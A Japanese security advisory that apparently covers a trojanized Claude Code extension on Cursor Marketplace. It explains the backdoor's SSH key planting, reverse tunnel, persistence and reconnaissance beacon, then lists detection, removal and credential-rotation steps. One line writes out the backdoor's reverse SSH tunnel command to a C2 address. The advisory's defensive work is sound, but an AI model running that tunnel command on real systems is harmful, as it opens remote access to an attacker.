Claude Code拡張にSSHバックドア混入 — Cursor Marketplaceを襲ったサプライチェーン攻撃の全貌と対処法

「拡張機能を入れただけ」で、第三者が自分のマシンへSSHログインできる状態になる。2026年10月29日、Cursor Marketplaceで配布されたClaude Code for VS Code v2.1.313で実際に起きたことです。まず最初にやるべき1コマンドから解説します。

【最優先】まず30秒で感染チェック

難しい説明は後回しで構いません。最初に自分の環境が影響を受けているかを確認してください。

この1行を実行するだけ

ターミナルを開き、以下のコマンドを実行してください。

grep svc-telemetry ~/.ssh/authorized_keys

何も出力されなければ、少なくともSSH鍵の植え込みは受けていません。何らかの出力があれば、攻撃者の公開鍵が混入しています。この記事後半の「マルウェア完全除去の7ステップ」へ直行してください。

チェックすべき対象者の条件

以下のすべてに該当する場合、感染リスクが高い状態です。

• Cursorエディタを日常的に使用している
• 2026年10月29日 2:27 AM〜1:35 PM（太平洋時間）の間に、Claude Code for VS Code拡張機能を更新またはインストールした
• インストールされていたバージョンが 2.1.313 だった

バージョン確認は、CursorのExtensionsパネルでClaude Codeを検索し、バージョン番号を確認してください。

影響を受けないケース

以下に該当する場合は、今回の事案の影響を受けていません。

• 公式のVS Code MarketplaceまたはOpen VSX経由でのみ拡張機能を管理している（Cursor Marketplace経由でインストールしていない）
• 該当時間帯にCursorの自動更新が走っていなかった、またはCursorを起動していなかった

何が起きたのか：インシデントの概要

事案タイムライン：11時間の空白

2026年10月29日 午前2時27分（太平洋時間）、悪意あるコードが混入したClaude Code for VS Code v2.1.313がCursor Marketplaceで公開されました。発覚して取り下げられたのは同日午後1時35分。約11時間にわたり、最大5,000名の開発者にインストールされたと推定されています。

この事案を最初に報告したのはセキュリティ企業のPhorionです。HackerNewsには「Official Claude Code VSX Compromise」として投稿され、スコア627を記録。同日最大の注目セキュリティインシデントとなりました。

「正規パブリッシャーID」で配布された異常性

今回の事案が特に危険だったのは、悪性拡張機能がAnthropicの正規拡張機能と同一のパブリッシャーIDでCursor Marketplaceに公開されていた点です。

通常、偽拡張機能による攻撃では「Anthroplc」「Anthropi-c」のようなタイポスクワッティング（見た目が似た偽名）が使われます。今回はそれとは異なり、正規IDそのものが使われていました。

攻撃者がどうのようにして正規パブリッシャーIDでの公開権限を得たのかについては、現時点では未解明です。Cursor側のシステムへの何らかのアクセスがあった可能性が指摘されていますが、断定できる情報はまだ公開されていません。

なぜ気づきにくかったのか

悪性版と正規版の差分は、正規のJSバンドルファイルの先頭に66行のローダーコードが追記されただけです。拡張機能としての本来の機能——Claude Codeとの連携——はそのまま正常動作していました。

ユーザー体験上の違和感はゼロです。インストールしても、更新しても、AIアシスタントとして普通に動き続けます。そのため、自分から疑って調べない限り、感染に気づく機会はほぼありませんでした。

攻撃の仕組みを4ステップで解剖

攻撃は大きく4つのフェーズで構成されていました。それぞれを詳しく見ていきましょう。

[拡張起動] → [①SSH鍵植込] → [②リバーストンネル確立]
                                    ↓
                   [④偵察ビーコン送信] ← [③OS別永続化]

① SSH公開鍵の植え込み

VS Codeが起動してWebViewが展開されると、悪性ローダーが最初に実行されます。最初のアクションはシンプルです。ユーザーのホームディレクトリにある ~/.ssh/authorized_keys を開き、攻撃者のEd25519公開鍵を末尾に追記します。

追記される鍵のコメント名は svc-telemetry（サービス監視テレメトリー）です。ログや設定ファイルをざっと眺めただけでは、監視系のサービスアカウントと勘違いしやすい名前が意図的に選ばれています。

この段階で、攻撃者は「正規のSSH認証」として対象マシンにログインできる鍵を手に入れています。

② リバースSSHトンネルの確立

SSH鍵を植え込んだだけでは、攻撃者からマシンに直接アクセスすることはできません。多くの開発者環境はNATの内側にあり、外部から22番ポートへ直接接続することは困難だからです。

そこでバックドアが実施するのがリバースSSHトンネルの確立です。対象マシン側から攻撃者のC2（コマンド&コントロール）サーバーへアウトバウンド接続を行い、そのトンネルを通じて逆方向のアクセスを可能にします。

# バックドアが内部で実行するコマンド（概念）
ssh -R *:0:localhost:22 user@134.209.82.225

接続先IPは 134.209.82.225 です。アウトバウンド接続であるため、多くのファイアウォール設定では素通りします。「外から入れないようにしている」という防御策が無意味化される手口です。

③ OS別の永続化（最も厄介なフェーズ）

ここが今回の事案で特に注意が必要な部分です。バックドアは単に実行されるだけでなく、VS Codeを閉じても、拡張機能を削除しても、マシンを再起動しても生き残るように永続化します。

macOSではAppleの正規システムデーモン名と酷似した com.apple.sysmond という名前でLaunchAgentが登録されます。Linuxでは @reboot クロンジョブとして、隠しファイル ~/.config/.smt が再起動のたびに実行されます。

「拡張機能を削除した＝対処完了」ではない最大の理由が、この永続化機構です。永続化は拡張機能とは独立して動作するため、拡張を削除しても残り続けます。

④ 認証情報の偵察ビーコン

最後のフェーズは静かですが、将来的な攻撃の準備となる偵察活動です。バックドアはC2サーバーの /beacon エンドポイントへHTTP POSTリクエストを送信します。

送信される情報：

• ホスト名
• OSの種類
• 環境変数の「名前」（KEY、TOKEN、SECRET、AWS、GCP などのパターンにマッチするもの）

重要なのは、環境変数の値ではなく名前だけを送る点です。これは標的選別のための「下見」です。AWSのアクセスキーが環境変数に設定されているマシンを特定し、後からより高度な攻撃を仕掛けるための情報収集と考えられます。

なぜ拡張機能ひとつでSSHが開通してしまうのか

「エディタのプラグイン」という語感から、サンドボックスで保護された環境で動くと思っている方も多いかもしれません。しかし実態は大きく異なります。

IDE拡張はシェルと同じ権限でNode.jsを動かせる

VS Code（およびCursorのような派生エディタ）の拡張機能は、extension host と呼ばれるNode.jsプロセス上で実行されます。このプロセスには、ファイルシステムの読み書き、任意のサブプロセスの実行、ネットワーク通信——つまりログインユーザーと同等の権限があります。

ブラウザの拡張機能がブラウザのサンドボックス内に閉じ込められているのとは根本的に異なります。VS Code拡張は child_process.spawn() で任意のシェルコマンドを実行でき、fs.writeFile() でホームディレクトリ以下の任意のファイルを書き換えられます。

「エディタのプラグイン」という語感と実際の権限の間には、大きなギャップがあります。

macOSユーザーは本当に安全なのか

今回の報道の中に「macOSは影響が軽微」という情報があります。これは正確には「macOSでは完全侵害が困難」という意味であり、「安全」とは異なります。

macOSの標準ユーザー権限では、LaunchAgentの登録自体は成功しますが、SSHサーバー（sshd）が起動していないケースが多く、リバーストンネルの確立に失敗することがあります。

ただし、SSH鍵の植え込みと偵察ビーコン送信は成功しています。将来的にSSHを有効にした瞬間にリモートアクセスが可能になるリスクは残ります。macOSユーザーも必ず感染確認と除去手順を実施してください。

Cursor Marketplace固有の問題と業界全体の構造的欠陥

未解明の侵害経路

今回最も重要な問いは「どうやって攻撃者は正規パブリッシャーIDで公開できたのか」です。この点について、2026年10月31日時点では公式からの説明は出ていません。

仮説としては、Cursorのマーケットプレイス管理システムへの不正アクセス、Anthropic側の開発者アカウントの侵害、CI/CDパイプラインへの介入などが考えられますが、いずれも現時点では推測の域を出ません。攻撃者の身元も未特定です。

検証済み拡張はわずか3%

VS Code系マーケットプレイスには現在約60,000本以上の拡張機能が登録されていますが、コード署名や静的解析・ランタイム解析によって検証されているものはわずか3%程度と報じられています。

残りの97%は、パブリッシャーが悪意あるコードを含めて公開した場合、自動的には検知されません。ユーザーのインストール後の挙動報告、あるいは今回のPhorionのような外部のセキュリティ研究者の指摘によってのみ発覚します。

IDE拡張サプライチェーン攻撃の常態化

今回の事案は孤立した例外ではありません。2026年5月には、Nx ConsoleというAngular/React向け人気拡張のトロイ化によって、GitHubの内部リポジトリ3,800件のアクセストークンが流出した事件が起きています。

攻撃者の視点から見ると、IDEは最も信頼されている実行環境です。開発者は日々何時間もIDEを使い、その上でクラウドサービスの認証情報を扱い、プロダクションコードを書きます。IDE拡張を一度でも侵害できれば、開発者の全活動が攻撃者の監視下に置かれます。

感染確認の詳細手順（コマンド集）

感染の有無を確認するすべてのコマンドをまとめます。コピーしてそのまま実行してください。

SSH鍵の混入確認

# メインチェック：svc-telemetryコメント付きの鍵を探す
grep svc-telemetry ~/.ssh/authorized_keys

# 補完チェック：過去7日以内に変更されたauthorized_keysを検索
find /home -name authorized_keys -mtime -7

# rootのauthorized_keysも確認
sudo grep svc-telemetry /root/.ssh/authorized_keys 2>/dev/null

永続化の確認（macOS）

# com.apple.sysmond.plistの存在確認（本物はシステム領域にあるはずで、ユーザー領域にあれば不審）
ls ~/Library/LaunchAgents/com.apple.sysmond.plist

# 詳細確認（存在した場合）
cat ~/Library/LaunchAgents/com.apple.sysmond.plist

永続化の確認（Linux）

# cronジョブの確認
crontab -l | grep .smt

# 悪性スクリプトの存在確認
ls -la ~/.config/.smt ~/.config/.smtk 2>/dev/null

永続化の確認（Windows）

# PowerShellで実行
Get-ScheduledTask | Where-Object {$_.TaskName -like "*SysMon*" -or $_.TaskName -like "*smt*"}

C2サーバーへの通信確認

# アクティブな接続を確認
netstat -an | grep 134.209.82.225

# より詳細な確認（lsofが使える環境）
lsof -i | grep 134.209.82.225

# 過去の通信ログを確認（Linuxのssh_config log等）
sudo journalctl | grep 134.209.82.225

組織での一括調査

複数台のマシンを管理する情シス・SREの方向けの追加確認ポイントです。

• EDRの検知ログで 134.209.82.225 を横断検索
• Webプロキシのアウトバウンドログで同IPへのSSH接続を確認
• 資産管理ツール（Jamf、Intune等）でインストール済み拡張機能のバージョンを棚卸しし、2.1.313 のインスタンスを特定
• SIEMがあれば svc-telemetry をキーワードにSSH認証ログを検索

マルウェア完全除去の7ステップ {#removal}

感染が確認された場合、または念のため完全に対処したい場合の手順です。手順を飛ばさず、順番通りに実施してください。

Step 1：SSHトンネルプロセスの強制停止

まず現在実行中のバックドアプロセスを停止させます。

# C2サーバーへの接続プロセスを終了
pkill -f 134.209.82.225

# 終了確認
ps aux | grep 134.209.82.225

Step 2：SSH公開鍵の削除

~/.ssh/authorized_keys から攻撃者の鍵を削除します。

# バックアップを取ってから編集
cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.backup

# svc-telemetryを含む行を削除
grep -v svc-telemetry ~/.ssh/authorized_keys > /tmp/authorized_keys_clean
mv /tmp/authorized_keys_clean ~/.ssh/authorized_keys

# 削除確認
grep svc-telemetry ~/.ssh/authorized_keys
# 何も出力されなければOK

Step 3：macOSの永続化解除

# LaunchAgentのアンロード
launchctl unload ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null

# plistファイルの削除
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist

# 削除確認
ls ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null || echo "削除済み"

Step 4：Linuxの永続化解除

# cronジョブの編集（エディタが開く）
crontab -e
# @reboot ~/.config/.smt の行を削除して保存

# 悪性スクリプトファイルの削除
rm -f ~/.config/.smt ~/.config/.smtk

# 削除確認
crontab -l | grep .smt
# 何も出力されなければOK

Step 5：Windowsの永続化解除

# スケジュールタスクの削除（タスク名は環境により異なる場合あり）
Unregister-ScheduledTask -TaskName "SysMon" -Confirm:$false

# 悪性ファイルの確認と削除
# %APPDATA%配下の不審なファイルを確認
Get-ChildItem $env:APPDATA -Hidden | Where-Object {$_.Name -like "*.smt*"}

Step 6：拡張機能のアンインストールと更新版への移行

Cursorで 2.1.313 をアンインストールし、公式チャネルから最新版を取得します。

重要： Anthropicが公式として提供しているのは以下のチャネルです。

• VS Code Marketplace（marketplace.visualstudio.com）の公式版
• Open VSXレジストリの公式版

今後Cursor Marketplaceから再インストールする場合は、公開者の確認を徹底してください。なお、Anthropicはインシデント後に v2.1.314 を公式チャネルで公開しています。

Step 7：認証情報のローテーション

これを省略すると、除去が完了しても被害が拡大します。 感染期間中（10/29 2:27 AM〜拡張削除時まで）にマシンで使用していた認証情報をすべてローテーションしてください。

優先順位順：

1. AWSアクセスキー：IAMコンソールで即座に無効化→新規作成
2. GCPサービスアカウントキー：IAMで取り消し→再生成
3. GitHubパーソナルアクセストークン：Settings > Developer settingsで取り消し
4. SSH秘密鍵：~/.ssh/id_* の秘密鍵は新規生成推奨（公開鍵を各サーバーに登録し直す）
5. npmトークン：npmjs.comのAccessTokensで取り消し
6. その他API鍵：KEY、TOKEN、SECRET が含まれる環境変数に相当するすべてのサービス

ビーコンで送信されたのは変数名だけですが、それによって攻撃者は「このマシンにはAWSの認証情報がある」と把握しています。将来的な標的型攻撃を防ぐためにも、ローテーションは必須です。

（推奨）環境の再構築

侵害されたマシンは、完全にクリーンだと証明することが困難です。上記の除去手順で見つかっていないファイルや、バックドアの別の永続化機構が存在する可能性を完全に排除できません。

業務上重要なマシン、または認証情報が多数存在するマシンについては、安全なバックアップからの環境再構築を推奨します。判断基準：

• プロダクション環境への直接アクセス権がある → 再構築推奨
• 機密性の高いコードやデータを扱う → 再構築推奨
• 個人的な開発マシンで認証情報が最小限 → 除去手順のみで対応可

Anthropic・Cursor・Microsoftの対応まとめ

Cursorの対応

インシデント発覚後、Cursorは以下の対応を実施しました。

• Cursor Marketplaceを一時的に全閉鎖
• マーケットプレイスシステムのアクセスキーをローテーション
• C2サーバー（134.209.82.225）をホスティングしていた事業者へテイクダウン依頼

Anthropicの声明

Anthropicは「今回の悪性拡張機能は自社でビルド・公開したものではない」と声明を発表。公式チャネル（VS Code MarketplaceおよびOpen VSX）に v2.1.314 を公開し、ユーザーに対して公式版への移行を呼びかけています。

Microsoftの再発防止策

今回の事案を受けて、VS Code 1.123から拡張機能の自動更新に2時間の遅延を導入する対応が発表されました。これにより、短時間で取り下げられた悪性バージョンが自動更新で広まるリスクが軽減されます。

開発者が今日からできる再発防止策

今回の事案を踏まえ、実際の開発現場で今すぐ実践できる対策を整理します。

拡張機能の運用ルールを見直す

自動更新を無効化し、手動で適用することが基本です。拡張機能の自動更新は便利ですが、今回のように悪性バージョンが短時間で配布・取り下げされるケースでは、自動更新が感染経路になります。

更新を適用する前に数日待つことで、セキュリティ研究者やコミュニティによる問題の発見・報告を「先に受ける」ことができます。

// VS Code / Cursor settings.json
{
  "extensions.autoUpdate": false,
  "extensions.autoCheckUpdates": true
}

定期的な棚卸しも重要です。使っていない拡張機能は攻撃面（アタックサーフェス）になります。使っていないものは削除し、本当に必要なものだけを最小限インストールする習慣をつけましょう。

新規インストール時は、パブリッシャー名・公開元チャネル・インストール数・最終更新日を確認し、不審な点があれば入れないことを徹底してください。

SSH・認証情報の守り方

~/.ssh/authorized_keys の変更を監視する仕組みを入れることをベストプラクティスとして推奨します。

# macOSでfswatch（Homebrewでインストール）を使った監視例
fswatch -o ~/.ssh/authorized_keys | xargs -n1 -I{} echo "authorized_keys が変更されました"

# Linuxでinotifywaitを使った監視例
inotifywait -m ~/.ssh/authorized_keys -e modify,attrib,close_write

また、GitでSSH設定ファイルを管理する手法も効果的です。dotfilesリポジトリで authorized_keys をバージョン管理しておけば、意図しない変更が git diff で即座に確認できます。

SSH秘密鍵にはパスフレーズを必ず設定してください。鍵ファイルが盗まれても、パスフレーズがなければ使えません。さらに高いセキュリティが必要な環境では、YubiKeyなどのハードウェアセキュリティキーの活用を検討してください。

クラウド認証情報は環境変数への平置きを避け、AWS Secrets ManagerやHashiCorp Vaultなどの認証情報管理サービスを経由してアクセスする設計が、実際の開発現場での標準的なアプローチになっています。

開発環境の隔離

根本的な対策として、Dev Containerやリモート開発環境に移行することを検討してください。

VS CodeのDev Container機能を使えば、拡張機能の実行環境をコンテナ内に隔離できます。バックドアが動いても、~/.ssh/authorized_keys はコンテナ内のものであり、ホストマシンのSSH設定には触れられません。

// .devcontainer/devcontainer.json の例
{
  "name": "Secure Dev Environment",
  "image": "mcr.microsoft.com/devcontainers/base:ubuntu",
  "runArgs": ["--network=host"],
  "capDrop": ["ALL"],
  "securityOpt": ["no-new-privileges"]
}

アウトバウンド通信の制限も効果的です。開発マシンからのSSH接続先を特定のホストのみに制限するファイアウォールルールを設けることで、C2サーバーへのリバーストンネル確立を防ぐことができます。

再発防止チェックリスト

まとめ：「信頼できる拡張」という前提を捨てる

今回のインシデントが示した最大の教訓は2つです。

1つ目は、正規パブリッシャーIDで配布されていても安全ではない。 タイポスクワッティングを避け、パブリッシャー名を確認するだけでは不十分な時代になりました。マーケットプレイス自体が侵害されるリスクを念頭に置く必要があります。

2つ目は、拡張機能の削除 ≠ 復旧。 バックドアは永続化機構を通じて独立して生き残ります。感染が疑われる場合は、拡張の削除だけで安心せず、本記事の7ステップの除去手順を実施してください。

未解明の論点——攻撃者がどうやって正規パブリッシャーIDを使えたのか、攻撃者の身元——については、Cursor・Anthropicからの公式声明や継続的な調査を引き続き注視していきます。新たな情報が明らかになり次第、本記事を更新します。

よくある質問（FAQ）

Cursorを使っていなければ安全ですか？

はい、今回の事案はCursor Marketplaceを経由した配布に限定されています。VS Code公式MarketplaceやOpen VSXのみを利用しており、Cursorを使っていない場合は影響を受けません。

ただし、IDE拡張を通じたサプライチェーン攻撃はCursorに限った問題ではなく、他のマーケットプレイスでも同様の手口が用いられる可能性があります。

Claude Codeそのものは使い続けて大丈夫ですか？

AnthropicがVS Code MarketplaceおよびOpen VSXで公式に配布しているClaude Codeは、今回の悪性コードとは無関係です。公式チャネルから最新版（v2.1.314以降）をインストールしている場合は、安全に使用できます。

拡張機能を削除すれば対処完了ですか？

いいえ、不十分です。 拡張機能の削除だけでは永続化機構（LaunchAgent・cronジョブ・スケジュールタスク）は残り続けます。本記事の「マルウェア完全除去の7ステップ」に従い、永続化の解除と認証情報のローテーションまで実施してください。

macOSなら被害は出ませんか？

「軽微」ではありますが、「無害」ではありません。macOSでは標準ユーザー権限ではSSHサーバーの起動に失敗するケースが多く、完全なリモートアクセスは困難です。しかし、SSH鍵の植え込みと偵察ビーコンの送信は実行されています。macOSユーザーも必ず感染確認と除去を実施してください。

自分が影響を受けたか確実に判断する方法は？

最も確実な方法は以下の4点の組み合わせです。

1. grep svc-telemetry ~/.ssh/authorized_keys で鍵の混入を確認
2. OS別の永続化ファイルの存在確認
3. ネットワークログで 134.209.82.225 への通信履歴を確認
4. Cursorの拡張機能の更新履歴で 2.1.313 の痕跡を確認

認証情報はすべてローテーションすべきですか？

感染が確認された場合、またはインストールされていた可能性がある場合は、感染期間中にそのマシンで使用していた認証情報はすべてローテーションすることを推奨します。

「変数名だけ送られたなら大丈夫」とは言えません。攻撃者は認証情報の存在を把握しており、将来的な標的型攻撃の準備が整っている可能性があります。AWS・GCP・GitHubトークン・SSH秘密鍵を優先し、順次ローテーションしてください。

参考リンク

• Phorion — Official Claude Code VSX Compromise
• The Hacker News — Official Claude Code Extension Trojanized（HNスコア627）
• BleepingComputer — Malicious Claude Code extension planted SSH backdoors on developers' machines
• StepSecurity — Trojanized Claude Code Extension Analysis